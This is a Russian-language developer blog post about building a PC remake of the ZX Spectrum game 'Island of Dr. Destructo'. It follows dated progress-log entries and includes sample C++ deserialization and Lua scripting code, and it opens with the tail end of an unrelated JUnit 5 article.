Очень здорово, что популярный фреймворк для тестирования решается на такие серьезные эксперименты с API и старается идти в ногу со временем!
Напоследок оставлю парочку ссылок: [официальный сайт JUnit 5](http://junit.org/junit5/) и [очень дружелюбное руководство](http://junit.org/junit5/docs/current/user-guide/).
Еще много чего интересного осталось за рамками этой статьи. Например, отдельного обзора заслуживает механизм расширений, предоставляемый JUnit 5.
Спасибо за внимание!
Happy coding! | https://habr.com/ru/post/337700/ | null | ru | null |
# Разработка Return of Dr. Destructo: до чего дошёл Прогресс
Недавно я выпустил в свет свой первый законченный «домашний» проект — ремейк игры [«Island of Dr. Destructo»](http://www.youtube.com/watch?v=xi2inDOIz-U) (также известной как просто Destructo) с ZX Spectrum. В этом посте я хотел бы рассказать немного о том, как шла разработка и поделиться некоторыми интересными замечаниями о кросс-платформенной разработке и архитектуре кода.

Во всех своих домашних проектах я использовал простое средство поддержания мотивации — вёл файл Progress.txt, в котором записывал, что было сделано в каждый день. В сочетании с рекомендованным многими писателями подходом «ни дня без строчки» этот метод даёт лично для меня очень неплохие результаты. В первый, активный период разработки «Return of Dr. Destructo», мне удалось работать над игрой почти каждый день на протяжении года. Подобный файл бывает интересно перечитывать некоторое время спустя, вспоминая, что ты делал месяц, пол года, или год назад. Прямо таки «перечитывал пейджер, много думал...», как шутили в 90-х. Сейчас мы и займёмся этим вместе — и не бойтесь, я постараюсь выбирать только места, о которых можно рассказать что-то кроме сухих строчек «сделал фичу, исправил баг» и сопровожу всё это некоторым количеством картинок.
Свой Progress.txt я вёл на английском, но для этой статьи все записи будут переведены на русский.
**02.08.11: Возился с небом, водой, солнцем и луной**
Разработка проекта началась в 2011 году, после того, как очередной, больший по масштабам домашний проект опять протух. Захотелось сделать что-нибудь, что я точно смогу довести до конца что-нибудь простое, но всё равно интересное. Создать версию «Island of Dr. Destructo» для PC было моей давней задумкой. Эта игра очень запомнилась с детства, когда она попалась мне в числе прочих на кассете «игр про самолётики», привезённой с Царицынского рынка. Основной особенностью, поразившей меня тогда, был разрушаемый уровень: каждый сбитый враг, каждая брошенная бомба вырывали из вражеского корабля кусок, причём не какой-то заранее выбранный авторами игры, а вот конкретный, именно в том месте, где было попадание! Такое и сейчас-то редко встречается в играх, а тогда — ну, это было просто ах!
Разработку я начал с того, что сделал отрисовку неба и воды. В исходной игре была смена времени суток, которая выглядела как проход солнца и луны по небу, а ещё, ночью появлялись звёзды. Мне, конечно, захотелось немного осовременить картинку, поэтому небо стало градиентным, а звёзды стали проявляться постепенно. Параметры этих процессов задаются ключевыми точками, между которыми игра производит линейную интерполяцию соответствующих значений.
В воде отражаются солнце, луна и звёзды. Изначально, я хотел отражать вообще всё, что находится на экране — вражеские самолёты, самолёт игрока, цель уровня. Но оказалось, что это некрасиво и неудобно.
**Времена суток**


**10.08.11: Закончил рефакторинг**
Пока я возился с небом, весь код жил в паре классов, создававшихся и вызывавшихся из main(), но дальше пришла пора подумать об архитектуре. Весь мой предыдущий показывал, что хардкорное ООП очень плохо подходит для игровой механики: сложные красивые иерархии классов и изолированные слои абстракции слишком негибки для этой области, в которой часто небольшое изменение постановки задачи ведёт к тому, что надо разом нарушить несколько абстракций и связать то, что раньше было независимо, или наоборот.
С другой стороны, отказываться от инкапсуляции полностью и складывать всё в одну кучу — тоже прямой путь в ад. Как раз в тот момент, когда я начинал писать «Return of Dr. Destructo», на работе начальник рассказывал про компонентный подход. Надо сказать, понимал я его слабо (как выяснилось потом). Но на основе того понимания, которое было, некоторую архитектуру я, всё-таки, измыслил. Забегая вперёд, скажу, что она оказалась достаточно удачной: ни разу я не переписывал её большие куски, а количество совсем уж мерзких костылей осталось минимальным. С другой стороны, если у вас при мысли о компонентной архитектуре перед глазами возникает Unity, то скажу сразу — у меня получилось не совсем так.
Итак, как организована архитектура игры. Всё, что относится к какой-то одной подсистеме — звуку, графике, физики, механике — вынесено в отдельный компонент. Есть и объединяющий их все компонент GameObject, который ничего более не умеет, а только содержит ID других компонентов. Именно ID — я не стал пользоваться какими-либо видами ссылок, за что поплатился — код доступа к компонентам объектов вышел неудобным. Однако, в отличие от того же Unity, компонент — штука весьма тупая. Это просто структура с данными, лежащая себе в каком-то массиве. Методов она не содержит (за исключением, быть может, каких-то простейших вспомогательных), а все данные в ней публичны.
Во время расчёта кадра, все компоненты одного типа последовательно обрабатываются соответствующим Процессором. Процессор для физики — рассчитывает перемещения и столкновения, процессор для графики — меняет таймеры анимаций и рисует кадры, и так далее. При этом, процессор всегда работает с одним типом компонентов — другие ему не доступны.
Поскольку процессоры не имеют доступа к «чужим» компонентам, то вынужденно происходит дублирование данных. Например, у объекта должны быть физические, и графические координаты. В более сложной игре они могли бы ещё и не совпадать, но тут они всегда одинаковы, если не произошла ошибка. Тем не менее, общего места для их хранения нет, поэтому приходится в некоторый момент копировать их из физического компонента (который их меняет) в графический (которому они нужны, чтобы знать, где рисовать объект). Таким копированием, а также другим межкомпонентным взаимодействием, занимается код игровых состояний. В основном, вся подобная механика живёт в классе GameStateLevel, отвечающем за то, что происходит на экране во время уровня.
[Файл](https://github.com/MaxSavenkov/drdestructo2/blob/master/src/GameStateLevel.cpp) этого класса, на первый взгляд, может немного напугать своими двумя тысячами строк, но на деле всё не так уж плохо, просто тут же описано ещё несколько вспомогательных классов, которые давно пора бы вынести в отдельные файлы, но руки так и не дошли. В главном же классе состояния основной набор методов — всякие вещи типа ControlsToPhysics, PhysicsToSound и т.п., отвечающие за перенос необходимых данных из одного компонента в другой с применением преобразований.
В отличие от механической части игры, игровые состояния и элементы UI написаны в более привычной объектно-ориентированной парадигме. Состояния представляют собой [Pushdown Automata](http://gameprogrammingpatterns.com/state.html#pushdown-automata), хорошо описанные в Game Programming Patterns: есть некоторый стэк, на который состояние можно положить, или снять. В моей реализации есть две особенности: во-первых, ввод и обновление по времени получает только самый верхний объект состояния, а рисуются — все (это чтобы можно было, например, рисовать состояние Обучающего Режима поверх обычного состояния Уровня); во-вторых, снимать состояния можно не только с вершины стэка, но и с середины — при этом будут сняты все состояния выше удаляемого, поскольку они считаются «дочерними».
Моя игра довольно проста, поэтому игровые состояния и состояния UI у меня совпадают. В общем случае, это не так, и даже в своей разработке я сталкивался со случаями, когда это было неудобно!
**12.08.11: Начал работать над системой десериализации XML (базовые вещи уже работают)**
**16.08.11: Вместо десериализации вышла какая-то хрень. Всю проклятую систему надо переписывать с нуля**
**18.08.11: Пока закончил возиться с десериализаций (но она всё равно чертовски уродлива)**
С++ и (де)сериализация данных объектов — бесконечная тема. Во всяком случае, пока в очередном стандарте не прикрутят хоть какой-то reflection. До начала написания «Return of Dr. Destructo» у меня был опыт работы уже с несколькими самописными (не мной) системами, а также с Boost.Serialization (о, это был тот ещё опыт...). Поэтому я понимал, что красиво, удобно и просто задача не решается. Но писать бесконечные циклы по элементам в XML файле мне тоже не хотелось, поэтому я решил сделать свою систему для загрузки данных из XML в однотипные именованные объекты.
С виду, задача у меня была проще, чем общий случай: мне была нужна только десериализация, обратный процесс — нет. Мне нужна были поддержка только одного формата — XML. И я не ставил себе того сложновыполнимого условия, что имя десериализуемого члена класса должно упоминаться только один раз при его объявлении (типа Deserializable m\_someField). Более того, по задумке, код десериализации должен был быть вынесен в отдельный класс. Но было и некоторое усложнение: в тех случаях, когда десериализация работала с именованными объектами (например, описаниями анимаций), нужна была поддержка наследования, чтобы можно было полностью скопировать ранее загруженный объект, и потом поменять в нём некоторые поля.
Небольшое лирическое отступление на тему «зачем всё это нужно». Во-первых, определение: «Прототипом объекта» в моём личном лексиконе, тянущимся с первой работы, называется класс, содержащий общие для всех объектов этого типа данные. В зависимости от надобности, данные из прототипа могут быть скопированы, и позже изменены, либо же объект может держать ссылку на прототип, и тогда эти данные будут неизменны. Вот данные для этих самых прототипов мне и надо было загрузить из XML файлов.
Надо сказать, что результаты получились рабочими (вся игра активно использует этот набор классов). С другой стороны, он ужасен в смысле удобства, и может лучше было бы всё-таки написать всю десериализацию руками. Посудить сами:
**Страшный и ужасный пример десериализации графического прототипа объекта**
```
// Объявляем десериализатор именованного объекта типа SGraphicsProto со строковым ID. Это прототип графического компонента.
class GraphicDeserializer : public XMLNamedObjectDeserializer
{
// Объявляем десериализатор для одной анимации (у неё ID не строковый, а числовой, AnimationID)
class AnimDeserializer : public XMLNamedObjectDeserializer
{
// Объявляем десериализатор для одного кадра, у него ID нет вообще, наследовать кадры не получится
class FrameDeserializer : public XMLObjectDeserializer
{
public:
FrameDeserializer() : XMLObjectDeserializer( "Frame", false )
{}
// Функция Bind связывает поля свежевыделенного объекта SAnimFrame с атрибутами XML-тэга
void Bind( SAnimFrame & object )
{
// Attrib\_Value - обычные атрибуты, которые будут прочитаны в соответствующее поля объекта без изменений
Attrib\_Value( "X", false, object.x );
Attrib\_Value( "Y", false, object.y );
Attrib\_Value( "W", true, object.w );
Attrib\_Value( "H", true, object.h );
Attrib\_Value( "FlipH", true, object.flipH );
Attrib\_Value( "FlipV", true, object.flipV );
// Attrib\_SetterValue - а эти атрибуты будут записаны при помощи ф-ий SetX2 и SetY2, которые, на самом деле,
// превратят из в W и H - просто иногда было удобнее указывать размеры кадра так.
Attrib\_SetterValue( "X2", true, object, &SAnimFrame::SetX2 );
Attrib\_SetterValue( "Y2", true, object, &SAnimFrame::SetY2 );
}
}m\_frameDes;
public:
AnimDeserializer()
: XMLNamedObjectDeserializer( "Animation", false, "ID" )
{
// Запоминаем, что внутри объекта анимации надо читать кадры
SubDeserializer( m\_frameDes );
}
// Аналогичная операция для объекта анимации
void Bind( SAnimProto & object )
{
Attrib\_Value( "FPS", false, object.m\_fps );
Attrib\_Value( "Dir", true, object.m\_dir );
Attrib\_Value( "Reverse", true, object.m\_reverse );
Attrib\_Value( "FlipV", true, object.m\_flipV );
Attrib\_Value( "FlipH", true, object.m\_flipH );
Attrib\_Value( "OneShot", true, object.m\_oneShot );
Attrib\_Value( "SoundEvent", true, object.m\_soundEvent );
// Прочитанные кадры надо добавлять в анимацию при помощи функции AddFrame
m\_frameDes.SetReceiver( object, &SAnimProto::AddFrame );
}
};
private:
// XMLDataDeserializer - класс для чтения данных без создания новых объектов
XMLDataDeserializer m\_imgDes;
XMLDataDeserializer m\_bgDes;
XMLDataDeserializer m\_capsDes;
// А вот если мы встретили описание анимации - то новый объект надо будет выделить и заполнить
AnimDeserializer m\_animDes;
void Bind( SGraphicsProto & object )
{
// Это значение читается напрямую из тэга
Attrib\_Value( "Layer", false, object.m\_layerID );
// Добавлять новые анимации в SGraphicsProto будем функцией SetAnim
m\_animDes.SetReceiver( object, &SGraphicsProto::SetAnim );
// Анимации - именованные, а значит их можно наследовать! Чтобы это работало,
// указываем функцию, которая умеет по имени достать ранее прочитанную анимацию
m\_animDes.SetGetter( object, &SGraphicsProto::GetAnim );
// Ну, а из этих тэгов мы будем читать по одному атрибуту.
m\_imgDes.Attrib\_Value( "Path", false, object.m\_image );
m\_bgDes.Attrib\_Value( "Path", false, object.m\_imageBg );
m\_capsDes.Attrib\_SetterValue( "ID", false, object, &SGraphicsProto::SetCaps );
}
public:
GraphicDeserializer()
: XMLNamedObjectDeserializer( "Graphic", true, "Name")
, m\_imgDes( "Image", false )
, m\_bgDes( "Bg", true )
, m\_capsDes( "Caps", false )
{
SubDeserializer( m\_imgDes );
SubDeserializer( m\_bgDes );
SubDeserializer( m\_animDes );
SubDeserializer( m\_capsDes );
}
};
// Корневой десериализатор, который, по сути, проверит, что файл начинается с тэга Graphics и передаст управление десериализатору графики
class GraphicsDeserializer : public RootXMLDeserializer
{
public:
GraphicDeserializer m\_graphicDes;
GraphicsDeserializer()
: RootXMLDeserializer( "Graphics" )
{
SubDeserializer( m\_graphicDes );
}
};
// А так выглядит использование подготовленного ранее класса:
void GraphicsProtoManager::LoadResources()
{
GraphicsDeserializer root;
// Графические объекты целиком тоже можно наследовать, поэтому им нужны Set и Get функции
root.m\_graphicDes.SetReceiver( \*this, &GraphicsProtoManager::AddResource );
root.m\_graphicDes.SetGetter( \*this, &GraphicsProtoManager::GetResource );
// XMLDeserializer умеет загружать файл и передавать управление корневому десериализатору
XMLDeserializer des( root );
// Поехали!
des.Deserialize( "Data/Protos/graphics.xml" );
}
```
Как видите, весьма многословно, и не слишком удобно в использовании и поддержке. Впрочем, писать загрузку руками при помощи голых вызовов TinyXML было бы всё-таки длиннее… Сильно потом, я написал ещё один вариант десериализации, более удобный, но чуть менее функциональный, но он, к сожалению, так и остался в рамках другого, заброшенного проекта. Может быть, когда-нибудь я к нему вернусь.
**19.08.11: Сделал прототипы для двух вражеских самолётиков и выдрал спрайты для них. Загрузил их в игру в тестовом режиме**
Речь пойдёт вот о чём: на экране нужно было рисовать какие-то объекты. А сам я художник исключительно от слова худо, и времени учиться этому ремеслу нет. Поэтому, было принято решения выдрать всю интересующую меня графику из оригинальной игры, а потом уже заменить её на что-нибудь более интересное. С большими статичными объектами всё было просто: делаем скриншот окна эмулятора и вырезаем оттуда всё, что нужно. Но что делать с анимированными самолётами? Если ловить скриншотами разные кадры анимации — надоест ОЧЕНЬ быстро… К счастью, мне помог эмулятор EmuZWin, обладающий полезной функций просмотра памяти, более того — просмотра памяти в графическом виде. С его помощью, перебрав разные размеры объектов, удалось получить почти все интересующие меня спрайты:
**Исходная графика**

Остальное было делом техники и терпения — каждый кадр надо было найти, вырезать, сложить в текстуру, покрасить в нужный цвет и подобрать параметры анимации, чтобы выглядело похоже на оригинал.
**25.09.11: ВЫПУЩЕНА ВЕРСИЯ 0.4** (именно так, большими буквами, как в файле)
Версия 0.4 стала первым публичным дебютом игры. Я решился на этот шаг, поскольку, по сути, имел работающую игру: самолётики летали, их можно было сбивать, они падали на цель, пробивали в ней дырки, и, если дырок пробить достаточно много, цель тонула и уровень заканчивался. Потом, правда, тут же начинался заново, но это было уже не важно. Таким образом, от начала разработки до первого играбельного релиза прошло чуть менее двух месяцев.
**Версия 0.4 во всей красе**
**23.11.11: Начал работу над объектом сбитого вертолёта**
О, вертолёты! Если вы играли в оригинал, вы должны ненавидеть их так же, как и я. Мало того, что эти твари внезапно меняют направление движения и стреляют ракетами, так после того, как их собьёшь, они становятся ещё опаснее! Сбитый вертолёт, в отличие от большинства других врагов, сохраняет возможность сталкиваться с игроком и убивать его, а падает он не просто так, а быстрым зиг-загом. Мотивация этого дизайнерского решения проста: обычные опасные самолётики проще всего сбивать снизу, потому что так в них проще попасть, и сохраняется возможность отвернуть от столкновения, если попасть не удалось. А вот вертолёты (и позже — бомбардировщики) как раз заставляют игрока менять тактику.
Программировать их поведение было отдельным удовольствием, поскольку они значительно сложнее всех ранее встречающихся врагов, и моя система описания поведения врагов уже с некоторым напряжением выдержала это испытание! Вертолёт — первый враг в игре, который умеет разворачиваться и стрелять, а также обладает сложной логикой движения после смерти.
**02.12.11: Закончил работу над автоприцеливанием**
Добавив в игру уже несколько уровней и новых врагов, я сравнил её с оригиналом, и пришёл к выводу, что играть стало сильно сложнее. Дело в том, что в оригинальной игре столкновения определялись достаточно грубо, поэтому попасть по врагам было проще. И экран был меньше, теснее. В новой же игре отклонение от нужного курса в несколько градусов могло стать причиной промаха, зачастую — фатального. Компенсировать это точностью управления не удалось (может быть, ума не хватило), поэтому я решил добавить в игру автоприцеливание: настройку сложности, которая позволяла бы вылетающим патронам немного отклоняться от прямой, и лететь на перехват ближайшей цели. Пришлось долго возиться с подбором параметров — ведь что считать ближайшей целью? — но результат сделал игру более приятной, поэтому в финальной версии автоприцеливание включено по умолчанию.
**04.12.11: Сделал брифинг между уровнями, добавил комментарии по ходу уровня**
Есть у меня нехорошая привычка — стараться добавить в любую игру историю. В своё время, мы с приятелем даже арканоид делали с историей! На деле, оно, конечно, зачастую зазря — не везде надо пихать диалоги и персонажей. Но в «Return of Dr. Destructo» я удержаться не смог. Частично, брифинги перед уровнями родились из дизайнерской необходимости: мне хотелось как-то разбить череду сменяющих друг друга кораблей, замков и островов моментами расслабления. Кроме того, хотелось иметь возможность как-то рассказать игроку, что его ждёт на следующем уровне в плане новых врагов. Ведь по внешнему виду совершенно невозможно понять, какие из них тебя при столкновении собьют, а какие безопасны. Последнюю проблему, к сожалению, решить таким образом толком не удалось. Поэтому игроки вынуждены страдать так же, как страдал я в далёких 90-х.
Разговоры по ходу уровня тоже родились из необходимости: в исходной игре, чтобы потопить цель, нужно было пробить в ней три дырки до дна. Каждая дырка отображалась фонтанчиком воды. В моём ремейке так сделать не получалось, потому что теперь падающие враги выбивали из цели не аккуратные кирпичики, а круглые дырки в произвольных местах. Но как-то дать понять игроку, что он стал ближе к победе, было надо. В результате, я принял спорное решение на каждом уровне показывать три текстовых сообщения, каждое из которых соответствует примерно трети прогресса в деле утопления цели. Позже, добавился ещё и индикатор повреждений, постепенно заполняющийся в левой нижней части UI, где отображается название уровня.
**Разговорчики в строю в финальной версии**

**06.02.12: Закончил работу над компонентом Музыки, использовал библиотеку irrKlang вместо звукового API Allegro**
Ещё одно признание — в игры я обычно играю с отключёнными звуками и музыкой. Ну, уж с музыкой-то точно. Даже любимые мелодии надоедают, если крутить их непрерывно, а у нас с авторами большинства игр вкусы в музыке совсем расходятся (почему бы кому-нибудь не сделать игрушку с саундтрэком из классического рокабилли? Хотя бы гонки!). Поэтому вставку музыки и звуков в свою игру я откладывал так долго, как только было можно. Но пришёл тот момент…
Вообще, всю игру я написал с использованием библиотеки [Allegro](http://allegro.cc). Она, может быть, не так распространена, как SDL, но мне больше нравится её API, и вообще — я с Allegro вместе ещё с DOS-версии, которую нашёл в 11ом классе, когда впервые начал изучать C после QuickBasic и FutureLibrary.
Но звуковой API Allegro мне, поначалу, показался слишком сложным. Хотелось простого: создать звук, сыграть звук. Поэтому, после некоторых поисков, я выбрал для воспроизведения звука библиотеку irrKlang, API которой больше соответствовал моим запросам. Это оказалось ошибкой: irrKlang подтекал при проигрывании треккерных файлов (а музыка в игре в формате it), автор проблему признавать и чинить отказывался, сорцов не было, а под Linux так и вообще творились какие-то ужасы. Поэтому потом пришлось её выпиливать, и таки разбираться с тем, как работать со звуком в Allegro (оказалось — ничего страшного).
Кстати, почему музыка в формате Impluse Tracker? Я, вообще, не фанат треккеров, в том смысле, что никогда под них музыку не писал, и не слушал её специально. Слышать-то, конечно, слышал — сами знаете, где…
Я не музыкант, грамоты нотной не знаю, музыкальной теории не обучен. Но кое-как умею играть на гитаре. Поэтому решил, что для своей игры музыку попробую написать сам, тем более, что у меня валялась одна готовая где-то на четверть композиция. Музыку я писал в честно купленном Guitar Pro 5, но дальше была беда: GP умел экспортировать результаты работы только в WAV или MIDI. Wav'ы, даже пожатые в OGG или MP3, мне не нравились: получалось, что музыка у меня будет занимать больше, чем вся остальная игра вместе взятая. А MIDI проигрывать Allegro (и irrKlang) не умели. Пришлось наладить сложный процесс — выгружать мелодию из Guitar Pro в MIDI, а потом MPTracker'ом конвертировать её в треккерный формат, понятный имеющимся библиотекам. Извращение? Несомненно! Работает? Да!
Первый трек, сейчас играющий во время уровня, был написан по воспоминаниям о PC-Speaker музыке из игры Prehistorik, но не той, из самого начала, от которой быстрее начинает биться сердце любого школьника 90ых, «тада-тта, тада-тта», а, кажется, из третьего, лесного уровня. Честно говоря, я потом так и не нашёл, просматривая записи на Youtube, тот фрагмент, который, как мне казалось, я помнил, и по мотивам которого сочинил свою мелодию.
Второй трек — тоже «по мотивам», на сей раз, рокабильной инструменталки «Mohawk Twist» группы Jackals. Вряд ли вы о ней слышали. /hipster mode off
Послушать треки отдельно, если не хочется играть в игру, можно тут:
Game Music 1: [.it](http://zxstudio.org/music/Game%20music%201.it) [.ogg](http://zxstudio.org/music/Game%20music%201.ogg)
Game Music 2: [.it](http://zxstudio.org/music/Game%20music%202.it) [.ogg](http://zxstudio.org/music/Game%20music%202.ogg)
**09.03.12: Начал перевод AI на Lua**
На самом деле, AI в игре нет. В том смысле, что AI — это же что-то интерактивное, он должен реагировать на игровую ситуацию, принимать решения, действовать… Враги же в игре летают по строго заданным правилам: пролететь 500 пикселей прямо, потом снизиться на 100 пикселей, потом дальше снова лететь прямо уже до конца. И тому подобное. Поэтому, на деле имеет место быть не AI, а скрипты поведения. Но это длинно, поэтому везде далее это будет называться AI.
Изначально, как и все остальные игровые данные, AI описывался XMLем, как-то примерно так:
```
```
Для простых скриптов этого хватало, хотя и было уже неудобно. Однако, ближе к концу игры стали появляться враги с более сложным поведением, которое требовало циклов, математики и условных операторов. Реализовывать всё это в XML показалось мне невероятно плохой идеей, поэтому, с некоторым сожалением, весь предыдущий AI был выброшен на помойку, а в игре угнездились Lua и Luabind.
Но общий принцип работы хотелось оставить тот же. Каждая строчка скрипта должна были задавать некоторое простое поведение (лететь вниз, лететь вверх, стрелять, развернуться), которое должно было продолжаться, пока не сработает указанный триггер. Чтобы поддержать эту концепцию в Lua, я воспользовался механизмом корутин и Lua-тредов.
Корутины — это вообще моя давняя мечта в плане скриптов. Они позволяют прервать выполнение скрипта на любом месте, вернуть управление в вызывающий код, а потом, когда захочется, продолжить скрипт с того месте, где в прошлый раз закончили, с сохранением всего состояния. Нынче корутины можно писать даже и на C (хоть и непросто делать это кросс-платформенно), а в новом стандарте C++ вроде бы даже готовые языковые механизмы есть. Но в Lua всё уже готовое и удобное. Мешает только одно: при выходе из корутины, состояние виртуальной машины Lua сохраняется в стейт Lua, но следующий вызов (рассчёт AI для другого объекта) затрёт это состояние своим. Можно делать много стейтов ВМ, но это дорого. Тут-то на помощь и приходят Lua-треды. В платформенном смысле слова, они тредами не являются, то есть, не порождают платформенных потоков, и не выполняются одновременно. Зато они предоставляют возможность делать легковесные копии состояния ВМ Lua, как раз пригодные для корутин.
В результате, мой новый AI стал выглядеть как-то так:
```
function height_change_up( context )
local dx = RandomInt( 100, 900 )
local dy = 100
context:Control( Context.IDLE, Trigger_DX( dx ) )
context:Control( Context.CTRL_VERT_UP, Trigger_DY( dy ) )
context:Control( Context.IDLE, Trigger_Eternal() )
end
```
Что, согласитесь, гораздо проще писать, и даже читать. Все функции context на самом деле объявлены в Luabind как yield, то есть, возвращают управление до следующего resume. Который будет сделан, как только в C++ коде выполнится условие указанного триггера.
Пару слов о Luabind: это тот ещё ад. Спорить о недостатках и достоинствах его синтаксиса и оверхеде я не буду, а вот тот факт, что его нынче довольно сложно собрать — приходится признать. Активная разработка исходным разработчиком давно заброшена, да и новая ветка отнюдь не процветает. Так что если будете интегрировать Lua и C++ — рассматривайте более современные альтернативы, которые, хотя бы, не требуют такого количества Boost'a…
**19.04.12: Добавил подсчёт статистики для двух видов Достижений**
Честно говоря, уже и не помню, почему решил добавить в эту игру Достижения. Кажется, для того, чтобы заставить игрока опять-таки отклоняться от оптимальной тактики для их получения. Например, достижение «High Flyer» требует, чтобы игрок провёл много времени в верхней половине экрана на одном из поздних уровней. А это — ОЧЕНЬ непростая задача! Обычно, опытный игрок будет крутиться в самом низу экрана, выныривая оттуда для атак на выбранные вражеские самолётики. А тут — вот хочешь не хочешь, а надо летать в опасной зоне, где плотность врагов максимальна.
Делать какую-либо интеграцию с социальными сетями, чтобы ачивками можно было делиться, я не планировал. Зато была идея сделать возможность выгружать «орденскую планку» в виде PNG файла, с которым игрок уже мог сделать что угодно — вставить на форум, залить на Фейсбук… Но и эта идея в результате не была реализована (точнее, была убрана из финальной версии). Думаю, никто по ней особенно скучать не будет…
**Экран достижений в финальной версии**
**01.06.12: ВЫПУЩЕНА ВЕРСИЯ 0.9**
0.9 стала последней версией со старой графикой. В ней работало уже всё, что должно было работать в игре, и самая интересная и активная часть разработки была завершена. Дальше, я пол года искал себе художника, чтобы нарисовать новую, красивую графику. Пытался это сделать и сам, но результаты, увы, не впечатляли:
**Результаты самолечения**
*Для начала, я попробовал замоделить самолёт игрока в Wings3D (самый дружелюбный к программисту 3д редактор, как мне кажется). Результат получился не то чтобы плохой, но и ничего хорошего*

*Попытка осовременить корабль из первого уровня — опять же, нельзя сказать, чтобы совсем всё плохо было, но сразу видно — "~~озвучено~~ нарисовано профессиональными программистами!"*
**27.07.12: Начал работу над обучающим режимом**
Опыты на живых людях показали, что игроки не понимают цели игры. Многие думают, что корабль внизу экрана надо защищать, а не разрушать. Я и сам припомнил, что не сразу догадался, что в этой игре надо делать, когда играл в оригинал. Но потом разобрался, и это стало для меня очевидным. Для других — нет. А времена, нынче, не те, если игрок не поймёт, что в игре делать, он её закроет…
Поэтому пришлось добавлять в игру обучалку. Вообще говоря, обучающий режим в игре — это, обычно, одна из самых мерзких и костылявых частей, поскольку нарушает всю гейм-механику, лезет в код UI и делает прочие гадости, не предусмотренные архитектурой. В процессе добавления обучающего режима в игру я ранее участвовал уже трижды, и повторять этот опыт не хотел. Поэтому решил обойтись малой кровью: текстом и рамочками показать игроку, что здесь как. Да, «show, don't tell», но… Кто не любит читать тексты в играх — тот мне не друг!
В результате, обучающий режим был создан довольно быстро и без особых вторжений в механику. Потом, правда, уже в 2014-2015ом, его пришлось доделывать, чтобы показывать схему управления, так как не все сразу лезут в Options, а раскладка клавиш очевидной не выходила. Но это уже чуть-чуть другая история…
**18.08.14: Начал работу над поддержкой геймпадов в игре**
**19.08.14: Геймпад заработал**
Ха-ха-ха! Заработал он, ага… Нет, не поймите меня неправильно — добавить поддержку геймпада в игру действительно было очень просто, благодаря библиотеке Allegro. Но тут возник маленький конфуз: во-первых, в меню настроек управления это выглядело как-то так: «Fire: Button 11». А во-вторых, в Обучающем режиме надо было как-то эту самую Button 11 нарисовать, чтобы игроку было понятно, что нажимать, чтобы стрелять. Нет, некоторые игры так и оставляют «Press [Button 11] to fire». Но это уродство, потому что игрок ну никак не обязан знать, что за кнопка у него идёт на геймпаде в режиме XInput под индексом 11 (тем более, что под Linux, например, та же кнопка может иметь совершенно другой индекс!).
С другой стороны, механизма, который позволил бы легко и кросс-платформенно сказать, что «Стик 2 Ось 1» — это правый стик, вертикальная ось — нет. Проблема частично решена в SDL введением базы данных с описанием разных геймпадов, но она никак не совместима с Allegro, из-за некоторых расхождений в работе с джойстиками.
Кроме того, в каждой из десктопных ОС (Windows, Linux, MacOS X) есть по два API для работы с геймпадами, каждое со своими закидонами.
Виндовые DirectInput и XInput Allegro абстрагирует достаточно хорошо, но только вот XInput'овские константы типа «XINPUT\_GAMEPAD\_A» она переводит в индексы, и снова получаем «Button 11».
Под Linux, мне удалось заставить работать свой Logitech F300 только в режиме XInput, причём, внезапно, триггеры там ходят не от 0 до 1, как в Windows, а от -1 до 1, причём -1 — это нейтральной значение (триггер отпущен). Почему так — из кода драйвера я так и не понял. А [документация](https://www.kernel.org/doc/Documentation/input/gamepad.txt) утверждает, что значения у ABS триггеров таки должны быть положительные. Но приходят отрицательные…
Под MacOS X, новый модный API поддерживает геймпады стандарта XInput, правда, почему-то не поддерживает кнопки Start и Back (не говоря уже о Guide/X-Box). А старый способ работы с геймпадами (применённый в Allegro) — через HID Manager — та ещё чёрная магия. Кстати, если будете сами заниматься этой темой, то можете удивиться — почему это значения от правого стика приходят через GD\_Z и GD\_Rx? Вроде бы, как-то нелогично, почему не GD\_Rx и GD\_Ry? Ответ просто — потому что R — это отнюдь не «Right», как вы могли бы подумать, а вовсе даже «Rotational». Стандарт USB HID ничего знать не знает про геймпады с двумя стиками. Это диавольское изобретение на PC появилось слишком поздно. Зато он знает про контроллеры для самолётных симуляторов, у которых стик только один, зато могут быть дополнительные оси вращения, вот эти самые Rx, Ry и Rz. Хитрые авторы геймпадов просто используют первые попавшиеся четыре оси для передачи значений от левого и правого стиков, не заморачиваясь их исходным предназначением.
**03.09.14: Перевёл сборку на CMake, реструктурировал репозиторий**
Изначально, игра собиралась только под Windows. Когда мне захотелось собрать её под Linux (в районе версии 0.9, или раньше), я нашёл утилиту MakeItSo, которая преобразовала мне файл Visual Studio в Makefile. Правда, его потом пришлось допиливать ручками, и вообще…
Короче, когда зашёл вопрос о сборках на трёх платформах сейчас, и ещё мобильных — в будущем, я решил привести всё в порядок, и использовать CMake для генерации проектов под все платформы. В целом, опыт с CMake оказался очень положительным. Единственный минус — отсутствует поддержка установки многих параметров в проектах для Visual Studio под новые платформы (Android, через Tegra NSight или в VS2015, Emscripten). Проблему можно было бы решить добавлением ключевого слова для подключения к проекту props-файлов, но в mailing list CMake говорят, что это противоречить идеологии… Конечно, у CMake есть и другие минусы, но он лучше всех альтернатив, будь то написание файла сборки руками под каждую платформу, или использование gyp. Наибольшей проблемой стала сборка под MacOS X, поскольку идея app bundle CMake поддерживается несколько костыльно: нельзя просто так взять и указать, какую директорию куда надо положить внутри .app — приходится пробегаться по всем файлам, и выставлять им свойства.
**27.10.14: Интегрировал в игру Google Breakpad**
Про интеграцию Google Breakpad я в своём блоге написал целую статью. Вкратце, не ожидал я от Google такого неудобства, я бы даже сказал, непрофессионализма в плане организации кода. Сам код, я не знаю, может и хорош, может и плох — особо не смотрел. Но то, что ради подключения небольшой, по сути, библиотеки предлагается выкачивать к себе и таскать весь огромный репозиторий с тестами, сорцами под другие платформы и прочей фигнёй — это всё очень неудобно.
Но главное, что в конце концов интегрировать Breakpad и поднять у себя на хосте сервер мне удалось. Правда, ни одного крэш-репорта я так и не получил (кроме тестовых) — то ли так хорошо игра написана, что не падает, то ли всё-таки система отправки крэшей не работает!
**26.02.15: Доделал эффект потери жизни**
Одной из жалоб во время бета-тестирования финальной версии было то, что не всегда было понятно, что твой самолёт сбили. И особенно не было понятно, кто же его сбил. Поэтому я решил добавить специальный эффект — разбегающиеся по экране трещины, а также показывать в специальном окне картинку того конкретного врага, об которого игрок неудачно ударился. Конечно, это не исправило полностью уже упомянутую проблему различения опасных и безопасных самолётов, но позволило дать игроку хоть немного больше информации.
А эффект с трещинами на стекле пришёл мне в голову как воспоминание об ещё одной игре с ZX Spectrum — [Night Gunner](http://www.youtube.com/watch?v=C-YoFA8JRSQ).
**Game over**
